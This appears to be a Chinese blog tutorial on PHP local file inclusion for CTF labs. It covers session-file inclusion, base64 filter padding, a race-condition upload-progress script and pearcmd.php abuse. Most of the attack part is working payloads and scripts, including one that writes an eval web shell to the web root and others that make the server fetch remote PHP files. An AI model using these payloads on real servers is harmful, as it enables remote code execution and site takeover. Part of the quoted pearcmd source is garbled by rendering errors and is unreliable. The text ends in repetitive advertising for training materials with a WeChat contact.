文件包含漏洞学习,2024年百度网络安全面试真题

可以看到,生成了session文件,文件名即为sess_PHPSSESSID,但是在默认配置session.upload_progress.cleanup = on的情况下,php会清理session文件内容,里面为空,不能直接包含,如果代码中往$_SESSION数组中传数据,就会有内容

稍微改一下代码

<?php if(isset($\_GET['file'])&&isset($\_GET['name'])) { $file=$\_GET['file']; session\_start(); $name=$\_GET['name']; $\_SESSION['name']=$name; include ($file); } else { highlight\_file(\_\_FILE\_\_); } ?>

构造payload /?file=/var/lib/php/sessions/sess_5dlu81pt877akai25rhilk2es4&name=hello

在这里插入图片描述

可以看到,文件中有了内容,是类似序列化字符串的数据,如果设置name的值为rce代码,包含进来就能利用,构造

/?file=/var/lib/php/sessions/sess_5dlu81pt877akai25rhilk2es4&name=<?php system('cat /flag');?>

在这里插入图片描述

在题目中,很少这么理想的情况,通常会 1.对会输入session的数据进行base64编码或其他处理 2 没有session_start()函数

base64编码

实验代码:study_session_64.php

名字: <?php if (isset($\_POST['name'])) { $\_SESSION['name'] = base64\_encode($\_POST['name']); if (!empty($\_SESSION['name'])) { echo "

success!

name:".base64\_decode($\_SESSION['name']); } if (isset($\_GET['file'])) { include($\_GET['file']); } } else { highlight\_file(\_\_FILE\_\_); } ?>

可以看到,输入session的数据会经过base64编码,显示数据时再解码,直接传入rce代码再包含,无法利用

那我们尝试用filer过滤器,base解码后包含,试试能不能成功

在这里插入图片描述

可以看到,结果中含有乱码,名字显示出来了,但rce代码没有执行成功,这是为什么?

原因是base64解码的问题,过滤器解码的是整个session文件的数据,不止被编码后的我们输入的name,此时session文件中存储的内容为:

name|s:28:“PD9waHAgc3lzdGVtKCdscycpOz8+”

但base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有“=”符号用作后缀用途,也就是说,base64解码只认识:A-Z、a-z、0-9、+、/、=

很明显,在session文件数据中,用 | : “” 不符合base64编码,base64在解码时会跳过这些非法字符,将合法字符拼接在一起然后解码,所以真正解码的内容是

names28PD9waHAgc3lzdGVtKCdscycpOz8+

base64编码字符串的特点就是长度是4的整数倍,且编码后长度变长,为原来字符串的三分之四

这上面的被解码内容长度明显不是4的整数倍,过滤器整体解码就会解为乱码,所以要想办法让它变成4的整数倍,后面的就是正常编码长度肯定是4的倍数,不用管,所以关键在于names28,这个长度为7

前面讲过session存储的是类似序列化的数据,所以28表示的是字符串长度,如果让后面的编码内容长度为100(三位数都行),这里就会变为names100,长度为8,可以正常解码,虽然names100可能解出来是乱码,但是后面rce的代码可以正常解码然后执行

原本的rce代码编码后只有28位,所以要加上一点内容让name编码后整体长度够100,需要72位的base64编码,也就是说再加上长度54的任意字符即可,需要改变命令时,这样计算长度不太方便,可以写个脚本

import base64
import random
import string

def generate_random_string(length):
characters = string.ascii_letters + string.digits
return ‘’.join(random.choice(characters) for _ in range(length))

def get_payload(tar):
length=(100-len(base64.b64encode(tar.encode(‘utf-8’))))*3//4
print(length)
random_str = generate_random_string(length)
return random_str+tar

tar=“<?php system('ls');?>”
payload=get_payload(tar)
print(payload)
print(len(base64.b64encode(payload.encode(‘utf-8’))))

这样就可以任意修改rce代码,再生成payload

在这里插入图片描述

在这里插入图片描述

可以看到,后面的rce代码成功执行,之后就是修改命令读取flag即可

详细的讲解可以看这篇大佬的文章,讲的很详细:

LFI 绕过 Session 包含限制 Getshell:

没有session_start

如果没有session_start,php就无法在代码中产生session,默认的auto_start一般为0,这时该如何利用?

这时我们可以手动构造文件上传,php在5.4之后,允许我们在文件上传的同时,post传一个字段,PHP_SESSION_UPLOAD_PROGRESS,值任意,php这时就会自动创建会话,并往$_SESSION数组中写入数据(关于文件上传的进度)

session文件中就会有这些数据,如果PHP_SESSION_UPLOAD_PROGRESS的值是rce代码,包含进来后就可以执行,这涉及到一些php的配置,如

在这里插入图片描述

关键在于session.upload_progress.enabled,默认为On,就允许我们在文件上传的同时,post PHP_SESSION_UPLOAD_PROGRESS 来检查文件上传的进度,这里可以举一个php官方给的一个例子,稍作修改以便更好理解

form action=“upload.php” method=“POST” enctype=“multipart/form-data”>
!–上传了PHP_SESSION_UPLOAD_PROGRESS,值为123


结果:

在这里插入图片描述

$SESSION数组中写入了新的内容,健名为upload_pogress_123,值为关于文件上传的一些数据,很明显。健名就是upload_progress和我们post的PHP_SESSION_UPLOAD_PROGRESS的值拼接而来,如果PHP_SESSION_UPLOAD_PROGRESS为rce代码,被序列化后后存在session文件中,**又因为session.use_strict_mode=0,我们还可以自己手动修改PHPSESSID,**从而知道了session文件的名字

但还有一个问题,session.upload_progress.cleanup = on,这是默认配置,表明php会在文件上传结束时删除session文件,我们再包含也没用,所以需要条件竞争,赶在文件被删除前包含利用

摘抄了大佬的py脚本来利用

import io
import sys
import requests
import threading

sessid = ‘123456’

def POST(session):
while True:
f = io.BytesIO(b’a’ * 1024 * 50)
session.post(
‘http://192.168.10.122/my/include/study.php’,
data={“PHP_SESSION_UPLOAD_PROGRESS”:“<?php system('cat flag.php');?>”},
files={“file”😦‘q.txt’, f)},
cookies={‘PHPSESSID’:sessid},
)

def READ(session):
while True:
response = session.get(f’http://192.168.10.122/my/include/study.php/?file=…/…/…/…/lib/php/sessions/sess_{sessid}')

print(‘[+++]retry’)

#根据命令可能的结果来设置终止条件
if ‘flag{’ not in response.text:
print(‘[+++]retry’)
else:
print(response.text)
sys.exit(0)

with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()

READ(session)

结果

在这里插入图片描述

实验成功,拿到flag

pearcmd包含

pearcmd通常指的是PEAR(PHP Extension and Application Repository)的命令行工具,它是用于管理和操作PEAR包的命令行界面。PEAR是PHP的一个包管理系统,允许开发者方便地共享、安装和管理PHP代码库。

利用条件:1.php配置文件中 register_argc_argv=on(默认为off) 2.pearcmd.php存储在默认位置 3.配置了pearcmd工具

pearcmd在docker环境默认安装,默认路径: /usr/local/lib/php/pearcmd.php , 实验环境我是自己安装的pearcmd 路径为:/usr/share/php/pearcmd.php

前置知识

pearcmd.php是命令行工具,实战中一般是在web服务器访问,那该如何调用pearcmd?,这时就需要 register_argc_argv=on(默认为off),这个配置开启时,通过web服务传递的参数可以被解析为命令行参数,存放在$_SERVER[‘argv’]中,这如:

在这里插入图片描述

可以看到,argc存放的是参数个数,argv数组存放了所有的参数,而且各个参数之间通过 + 分割,当然放$_GET数组的参数还是按 & 分割的,又因为在pearcmd的源码中有:

public static function readPHPArgv()
{
global a r g v ; i f ( ! i s _ a r r a y ( argv; if (!is\_array( argv;if(!is_array(argv)) {
if (!@is_array(KaTeX parse error: Expected '}', got 'EOF' at end of input: …f (!@is\_array(GLOBALS[‘HTTP_SERVER_VARS’][‘argv’])) {
$msg = “Could not read cmd args (register_argc_argv=Off?)”;
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS[‘HTTP_SERVER_VARS’][‘argv’];
}
return $_SERVER[‘argv’];
}
return $argv;
}

所以如果包含执行pearcmd.php,就会把argv的数组中的每个变量解析为pear命令的参数,而argv数组中参数我们可以控制,就可以通过web访问来调用pear,执行恶意的pear命令,通常可以利用config-create(最常用),install,download,这三个命令,通过实验学习这三个命令的用法

基本思路就是,想办法包含pearcmd.php,通过传入的url参数执行pear命令

实验学习

直接拿study.php来实验即可,包含成功后打印,$SERVER['‘argv’]

(1)config-create:创建自定义配置文件

用法:

pear config-create rootpath filename

参数描述
rootpath生成的配置文件路径,会被写入配置文件,必须以/开头
filename配置文件名

构造 payload,<>会被浏览器url编码,所以要在bp上构造

?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=eval($\_GET[1]);?>+/var/www/html/shell.php

payload 分析:

1.&file=后面的东西是$_GET[‘file’],是我pearcmd.php的路径,把它包含进来并执行后,就会像上面提到的,会把这整个查询参数解析为命令行参数

2.解析后放入$_SERVER[‘argv’]的各个参数如下

在这里插入图片描述

所以这个payload相当于执行了这个命令

pear config-create /&file=/usr/share/php/pearcmd.php&/<?=eval($_GET[1]);?> /var/www/html/shell.php

查看shell.php,

在这里插入图片描述

虽然被写入了,但也写入了很多遍,执行命令时回显可能会比较乱,要查看源代码

在这里插入图片描述

(2)install

用法: (从网络上下载文件)

pear install http://[ipaddress]:[port]/path/filename

还可以通过–installroot,来指定下载环境,

payload,记得启动服务器上的apche或nignx

?+install±-installroot+&file=/usr/share/php/pearcmd.php&+http://192.168.10.199:8001/phpinfo.php

也是差不多的,file=用来包含的pearcmd.php,各个+之间就是用来执行pear命令的参数,相当于

pear install --installroot http://192.168.10.199:8001/phpinfo.php

在这里插入图片描述

可以看到,下载的文件存储路径有回显,虽然有install failed提示,但文件是成功下载了,包含一下试试,要把路径url编码一下

在这里插入图片描述

执行成功

(3)download 也是下载文件,与install不同的是不用指定下载路径,就下载在当前路径

命令:

pear download http://ipaddr:port/path/filename

按照上面的思路构造payload

?+download+http://192.168.10.199:8001/phpinfo.php&file=/usr/share/php/pearcmd.php

但是,

在这里插入图片描述

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!

王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。

对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!

【完整版领取方式在文末!!】

93道网络安全面试题

内容实在太多,不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

1️⃣零基础入门
① 学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

image

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

image-20231025112050764

一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算

img.cn/img_convert/acb3c4714e29498573a58a3c79c775da.gif#pic_center)

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

image-20231025112050764

一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值